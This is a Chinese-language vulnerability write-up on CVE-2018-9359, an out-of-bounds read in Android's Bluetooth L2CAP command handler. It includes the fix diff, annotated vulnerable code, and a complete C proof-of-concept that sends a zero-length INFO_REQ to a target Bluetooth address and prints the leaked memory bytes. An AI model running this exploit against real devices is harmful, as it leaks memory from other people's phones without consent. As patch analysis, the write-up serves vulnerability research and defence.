【蓝牙】CVE-2018-9359 process_l2cap_cmd_L2CAP_CMD_INFO_REQ未判断缓冲区边界造成信息泄露
补丁
https://android.googlesource.com/platform/system/bt/+/b66fc16410ff96e9119f8eb282e67960e79075c8
补丁修改的地方比较多,通过描述可以看到是在process_l2cap_cmd()
里的一个越界读漏洞,补的都是同样的代码,说明这块代码缺少检查,这里只截取部分补丁代码
DO NOT MERGE Fix OOB read in process_l2cap_cmd
Bug: 74202041
Bug: 74196706
Bug: 74201143
Test: manual
Change-Id: Ic25f7f3777d0375f76cc91e4d129b1636f1c388d
(cherry picked from commit ff15adf5150527db1012b9f7777066522835e2db)
diff --git a/stack/l2cap/l2c_main.cc b/stack/l2cap/l2c_main.cc
index 83d1737..7c1ef48 100644
--- a/stack/l2cap/l2c_main.cc
+++ b/stack/l2cap/l2c_main.cc
@@ -320,8 +320,16 @@
switch (cmd_code) {
case L2CAP_CMD_REJECT:
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(rej_reason, p);
if (rej_reason == L2CAP_CMD_REJ_MTU_EXCEEDED) {
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(rej_mtu, p);
/* What to do with the MTU reject ? We have negotiated an MTU. For now
*/
@@ -332,6 +340,10 @@
p_lcb->handle, rej_mtu);
}
if (rej_reason == L2CAP_CMD_REJ_INVALID_CID) {
+ if (p + 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(rcid, p);
STREAM_TO_UINT16(lcid, p);
...
我们挑第一个补丁点来分析,对p + 2
进行计算判断
switch (cmd_code) {
case L2CAP_CMD_REJECT:
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
找到代码对应的函数process_l2cap_cmd()
,代码比较长,但是我们只需要关注关键的地方就行了,比如变量p
的赋值,p
来自上层函数
/*******************************************************************************
*
* Function process_l2cap_cmd
*
* Description This function is called when a packet is received on the
* L2CAP signalling CID
*
* Returns void
*
******************************************************************************/
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
...
switch (cmd_code) {
case L2CAP_CMD_REJECT:
STREAM_TO_UINT16(rej_reason, p);
if (rej_reason == L2CAP_CMD_REJ_MTU_EXCEEDED) {
STREAM_TO_UINT16(rej_mtu, p);
当接收到ACL
数据包,HCI接口就会调用l2c_rcv_acl_data()
来处理,再往上就不需要跟了,因为这里已经取出了p
/*******************************************************************************
*
* Function l2c_rcv_acl_data
*
* Description This function is called from the HCI Interface when an ACL
* data packet is received.
*
* Returns void
*
******************************************************************************/
void l2c_rcv_acl_data(BT_HDR* p_msg) {
uint8_t* p = (uint8_t*)(p_msg + 1) + p_msg->offset;
...
STREAM_TO_UINT16(handle, p);
...
/* Send the data through the channel state machine */
if (rcv_cid == L2CAP_SIGNALLING_CID) {
process_l2cap_cmd(p_lcb, p, l2cap_len); // <--
osi_free(p_msg);
}
补充一下STREAM_TO_UINT8()
的实现如下,其它函数同理,p
会往后移动
#define STREAM_TO_UINT8(u8, p) \
{ \
(u8) = (uint8_t)(*(p)); \
(p) += 1; \
}
所以再回到process_l2cap_cmd()
,仔细读一下代码,看所有的漏洞点,其实就是取了4字节长度的信令长度之后,又在switch/case
里进行了取值,而此时未进行判断取值的位置是否超出缓冲区范围
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
...
// 如果是BT_TRANSPORT_LE模式直接返回,这里需要使用BT_TRANSPORT_BR_EDR
/* if l2cap command received in CID 1 on top of an LE link, ignore this command */
if (p_lcb->transport == BT_TRANSPORT_LE) return;
// #define L2CAP_DEFAULT_MTU (672)
/* Reject the packet if it exceeds the default Signalling Channel MTU */
if (pkt_len > L2CAP_DEFAULT_MTU) {
/* Core Spec requires a single response to the first command found in a
*multi-command
** L2cap packet. If only responses in the packet, then it will be ignored.
** Here we simply mark the bad packet and decide which cmd ID to reject
*later
*/
pkt_size_rej = true;
L2CAP_TRACE_ERROR("L2CAP SIG MTU Pkt Len Exceeded (672) -> pkt_len: %d", pkt_len);
}
// 存储缓冲区起始地址与结束地址
p_next_cmd = p;
p_pkt_end = p + pkt_len;
memset(&cfg_info, 0, sizeof(cfg_info));
// 一个L2CAP包可能包含多个信令
/* An L2CAP packet may contain multiple commands */
while (true) {
// 最短的信令是4字节
/* Smallest command is 4 bytes */
p = p_next_cmd; // p此时作为指针在缓冲区游动
if (p > (p_pkt_end - 4)) break; // 保证剩余缓冲区至少还有4字节的数据剩余
// 第一个字段是cmd_code
// 第二个字段是id
// 第三个字段是cmd_len
STREAM_TO_UINT8(cmd_code, p);
STREAM_TO_UINT8(id, p);
STREAM_TO_UINT16(cmd_len, p);
// #define BT_SMALL_BUFFER_SIZE 660
if (cmd_len > BT_SMALL_BUFFER_SIZE) {
L2CAP_TRACE_WARNING("L2CAP - Invalid MTU Size");
l2cu_send_peer_cmd_reject(p_lcb, L2CAP_CMD_REJ_MTU_EXCEEDED, id, 0, 0);
return;
}
// 检查加上当前信令长度后,不超过包的大小
/* Check command length does not exceed packet length */
p_next_cmd = p + cmd_len;
if (p_next_cmd > p_pkt_end) {
L2CAP_TRACE_WARNING("Command len bad pkt_len: %d cmd_len: %d code: %d", pkt_len, cmd_len, cmd_code);
break;
}
L2CAP_TRACE_DEBUG("cmd_code: %d, id:%d, cmd_len:%d", cmd_code, id, cmd_len);
// 包太大,要再考虑下是否丢掉
/* Bad L2CAP packet length, look or cmd to reject */
if (pkt_size_rej) {
/* If command found rejected it and we're done, otherwise keep looking */
if (l2c_is_cmd_rejected(cmd_code, id, p_lcb))
return;
else
continue; /* Look for next cmd/response in current packet */
}
// 准备进入漏洞区域
switch (cmd_code) {
case L2CAP_CMD_REJECT:
// 取了2字节,取值前未判断:p + 2 > p_pkt_end
STREAM_TO_UINT16(rej_reason, p);
if (rej_reason == L2CAP_CMD_REJ_MTU_EXCEEDED) {
// 取了2字节,取值前未判断:p + 2 > p_pkt_end
STREAM_TO_UINT16(rej_mtu, p);
L2CAP_TRACE_WARNING("L2CAP - MTU rej Handle: %d MTU: %d", p_lcb->handle, rej_mtu);
}
if (rej_reason == L2CAP_CMD_REJ_INVALID_CID) {
// 取了4字节,取值前未判断:p + 4 > p_pkt_end
STREAM_TO_UINT16(rcid, p);
STREAM_TO_UINT16(lcid, p);
...
}
...
// 本漏洞是信息泄露,所以需要泄露数据,也就是需要有往回发数据的函数
// 刚好L2CAP_CMD_INFO_REQ满足,取了2字节数据,通过l2cu_send_peer_info_rsp()发送回去
case L2CAP_CMD_INFO_REQ:
// 取了两字节,取值前未判断:p + 2 > p_pkt_end
STREAM_TO_UINT16(info_type, p);
l2cu_send_peer_info_rsp(p_lcb, id, info_type);
break;
...
default:
L2CAP_TRACE_WARNING("L2CAP - bad cmd code: %d", cmd_code);
l2cu_send_peer_cmd_reject(p_lcb, L2CAP_CMD_REJ_NOT_UNDERSTOOD, id, 0, 0);
return;
}
}
}
PoC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"
#define SIGNALLING_CID 0x0001
#define L2CAP_CMD_INFO_REQ 0x0A
#define UINT32_TO_STREAM(p, u32) \
{ \
*(p)++ = (uint8_t)(u32); \
*(p)++ = (uint8_t)((u32) >> 8); \
*(p)++ = (uint8_t)((u32) >> 16); \
*(p)++ = (uint8_t)((u32) >> 24); \
}
#define UINT24_TO_STREAM(p, u24) \
{ \
*(p)++ = (uint8_t)(u24); \
*(p)++ = (uint8_t)((u24) >> 8); \
*(p)++ = (uint8_t)((u24) >> 16); \
}
#define UINT16_TO_STREAM(p, u16) \
{ \
*(p)++ = (uint8_t)(u16); \
*(p)++ = (uint8_t)((u16) >> 8); \
}
#define UINT8_TO_STREAM(p, u8) \
{ *(p)++ = (uint8_t)(u8); }
static void show_data(void *data, int len)
{
int i;
uint8_t *p = (uint8_t*)data;
for(i = 0; i < len ; i++) {
printf("%02x " ,p[i]);
if(i > 0 && i % 7 == 0)
printf(" ");
if(i > 0 && i % 15 == 0)
printf("\n");
}
printf("\n");
}
void recv_and_leak(int sock_fd)
{
uint8_t recv_buf[512];
int ret;
memset(recv_buf, 0, 512);
ret = recv(sock_fd, recv_buf, 512, 0);
if(ret == -1) {
perror("[*] recv : ");
return;
}
uint8_t *p = recv_buf;
show_data(p, ret);
// printf("leak data: %04x\n", trans_num);
}
void send_trigger_req(int sock_fd)
{
uint8_t buffer[100];
memset(buffer, 0, 100);
// 第一个字段:L2CAP_CMD_INFO_REQ
uint8_t *p = buffer;
uint8_t cmd = L2CAP_CMD_INFO_REQ;
*p++ = cmd;
// 第二个字段:0x00,随意设置
uint8_t id = 0x00;
*p++ = id;
// 第三个字段:0x0000
// 表示直接就是一条信令4个字节结束,那么再取2字节就是缓冲区之外的数据
uint16_t cmd_len = 0x0000;
UINT16_TO_STREAM(p, cmd_len);
send(sock_fd, buffer, p - buffer, 0);
recv_and_leak(sock_fd);
}
// 常规连接
int main(int argc ,char* argv[]){
int sock_fd, ret;
int try_count = 1;
char dest[18];
struct sockaddr_l2 local_l2_addr;
struct sockaddr_l2 remote_l2_addr;
struct bt_security btsec;
if(argc < 2){
printf("usage : sudo ./poc TARGET_ADDR\n");
return -1;
}
strncpy(dest, argv[1], 18);
while( try_count-- > 0 )
{
sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if(sock_fd == -1){
perror("[*] socket create failed : ");
return -1;
}
memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
local_l2_addr.l2_family = AF_BLUETOOTH;
local_l2_addr.l2_cid = htobs(SIGNALLING_CID);
local_l2_addr.l2_bdaddr_type = 0; // BT_TRANSPORT_BR_EDR模式
memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));
ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
if(ret == -1){
perror("[*] bind()");
goto out;
}
memset(&btsec, 0, sizeof(btsec));
btsec.level = BT_SECURITY_LOW;
if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0){
perror("[*] setsockopt error");
goto out;
}
// l2cap_set_mtu(sock_fd, 1024, 1024);
memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
remote_l2_addr.l2_family = AF_BLUETOOTH;
remote_l2_addr.l2_bdaddr_type = 0;
remote_l2_addr.l2_cid = htobs(SIGNALLING_CID);
//remote_l2_addr.l2_psm = htobs(6);
str2ba(dest, &remote_l2_addr.l2_bdaddr);
printf("connect %s\n", dest);
if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {
perror("[*] can't connect");
goto out;
}
send_trigger_req(sock_fd);
//sleep(1);
}
out:
close(sock_fd);
return 0;
}
其中SIGNALLING_CID
的值为0x0001
以下是完整补丁,就是在所有在switch/case
内部进行取值的地方加上判断
DO NOT MERGE Fix OOB read in process_l2cap_cmd
Bug: 74202041
Bug: 74196706
Bug: 74201143
Test: manual
Change-Id: Ic25f7f3777d0375f76cc91e4d129b1636f1c388d
(cherry picked from commit ff15adf5150527db1012b9f7777066522835e2db)
diff --git a/stack/l2cap/l2c_main.cc b/stack/l2cap/l2c_main.cc
index 83d1737..7c1ef48 100644
--- a/stack/l2cap/l2c_main.cc
+++ b/stack/l2cap/l2c_main.cc
@@ -320,8 +320,16 @@
switch (cmd_code) {
case L2CAP_CMD_REJECT:
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(rej_reason, p);
if (rej_reason == L2CAP_CMD_REJ_MTU_EXCEEDED) {
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(rej_mtu, p);
/* What to do with the MTU reject ? We have negotiated an MTU. For now
*/
@@ -332,6 +340,10 @@
p_lcb->handle, rej_mtu);
}
if (rej_reason == L2CAP_CMD_REJ_INVALID_CID) {
+ if (p + 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(rcid, p);
STREAM_TO_UINT16(lcid, p);
@@ -365,6 +377,10 @@
break;
case L2CAP_CMD_CONN_REQ:
+ if (p + 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(con_info.psm, p);
STREAM_TO_UINT16(rcid, p);
p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
@@ -396,6 +412,10 @@
break;
case L2CAP_CMD_CONN_RSP:
+ if (p + 8 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(con_info.remote_cid, p);
STREAM_TO_UINT16(lcid, p);
STREAM_TO_UINT16(con_info.l2cap_result, p);
@@ -427,6 +447,10 @@
cfg_rej = false;
cfg_rej_len = 0;
+ if (p + 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(lcid, p);
STREAM_TO_UINT16(cfg_info.flags, p);
@@ -437,22 +461,38 @@
false;
while (p < p_cfg_end) {
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_code, p);
STREAM_TO_UINT8(cfg_len, p);
switch (cfg_code & 0x7F) {
case L2CAP_CFG_TYPE_MTU:
cfg_info.mtu_present = true;
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(cfg_info.mtu, p);
break;
case L2CAP_CFG_TYPE_FLUSH_TOUT:
cfg_info.flush_to_present = true;
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(cfg_info.flush_to, p);
break;
case L2CAP_CFG_TYPE_QOS:
cfg_info.qos_present = true;
+ if (p + 2 + 5 * 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_info.qos.qos_flags, p);
STREAM_TO_UINT8(cfg_info.qos.service_type, p);
STREAM_TO_UINT32(cfg_info.qos.token_rate, p);
@@ -464,6 +504,10 @@
case L2CAP_CFG_TYPE_FCR:
cfg_info.fcr_present = true;
+ if (p + 3 + 3 * 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_info.fcr.mode, p);
STREAM_TO_UINT8(cfg_info.fcr.tx_win_sz, p);
STREAM_TO_UINT8(cfg_info.fcr.max_transmit, p);
@@ -474,11 +518,19 @@
case L2CAP_CFG_TYPE_FCS:
cfg_info.fcs_present = true;
+ if (p + 1 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_info.fcs, p);
break;
case L2CAP_CFG_TYPE_EXT_FLOW:
cfg_info.ext_flow_spec_present = true;
+ if (p + 2 + 2 + 3 * 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_info.ext_flow_spec.id, p);
STREAM_TO_UINT8(cfg_info.ext_flow_spec.stype, p);
STREAM_TO_UINT16(cfg_info.ext_flow_spec.max_sdu_size, p);
@@ -523,6 +575,10 @@
case L2CAP_CMD_CONFIG_RSP:
p_cfg_end = p + cmd_len;
+ if (p + 6 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(lcid, p);
STREAM_TO_UINT16(cfg_info.flags, p);
STREAM_TO_UINT16(cfg_info.result, p);
@@ -532,22 +588,38 @@
false;
while (p < p_cfg_end) {
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_code, p);
STREAM_TO_UINT8(cfg_len, p);
switch (cfg_code & 0x7F) {
case L2CAP_CFG_TYPE_MTU:
cfg_info.mtu_present = true;
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(cfg_info.mtu, p);
break;
case L2CAP_CFG_TYPE_FLUSH_TOUT:
cfg_info.flush_to_present = true;
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(cfg_info.flush_to, p);
break;
case L2CAP_CFG_TYPE_QOS:
cfg_info.qos_present = true;
+ if (p + 2 + 5 * 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_info.qos.qos_flags, p);
STREAM_TO_UINT8(cfg_info.qos.service_type, p);
STREAM_TO_UINT32(cfg_info.qos.token_rate, p);
@@ -559,6 +631,10 @@
case L2CAP_CFG_TYPE_FCR:
cfg_info.fcr_present = true;
+ if (p + 3 + 3 * 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_info.fcr.mode, p);
STREAM_TO_UINT8(cfg_info.fcr.tx_win_sz, p);
STREAM_TO_UINT8(cfg_info.fcr.max_transmit, p);
@@ -569,11 +645,19 @@
case L2CAP_CFG_TYPE_FCS:
cfg_info.fcs_present = true;
+ if (p + 1 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_info.fcs, p);
break;
case L2CAP_CFG_TYPE_EXT_FLOW:
cfg_info.ext_flow_spec_present = true;
+ if (p + 2 + 2 + 3 * 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT8(cfg_info.ext_flow_spec.id, p);
STREAM_TO_UINT8(cfg_info.ext_flow_spec.stype, p);
STREAM_TO_UINT16(cfg_info.ext_flow_spec.max_sdu_size, p);
@@ -603,6 +687,10 @@
break;
case L2CAP_CMD_DISC_REQ:
+ if (p + 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(lcid, p);
STREAM_TO_UINT16(rcid, p);
@@ -618,6 +706,10 @@
break;
case L2CAP_CMD_DISC_RSP:
+ if (p + 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(rcid, p);
STREAM_TO_UINT16(lcid, p);
@@ -645,6 +737,10 @@
break;
case L2CAP_CMD_INFO_REQ:
+ if (p + 2 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(info_type, p);
l2cu_send_peer_info_rsp(p_lcb, id, info_type);
break;
@@ -656,6 +752,10 @@
p_lcb->w4_info_rsp = false;
}
+ if (p + 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT16(info_type, p);
STREAM_TO_UINT16(result, p);
@@ -663,6 +763,10 @@
if ((info_type == L2CAP_EXTENDED_FEATURES_INFO_TYPE) &&
(result == L2CAP_INFO_RESP_RESULT_SUCCESS)) {
+ if (p + 4 > p_next_cmd) {
+ android_errorWriteLog(0x534e4554, "74202041");
+ return;
+ }
STREAM_TO_UINT32(p_lcb->peer_ext_fea, p);
#if (L2CAP_NUM_FIXED_CHNLS > 0)
Previous【蓝牙】CVE-2018-9358 信息泄露Next【蓝牙】CVE-2018-9360 process_l2cap_cmd_L2CAP_CMD_CONN_REQ未判断缓冲区边界造成信息泄露
Last updated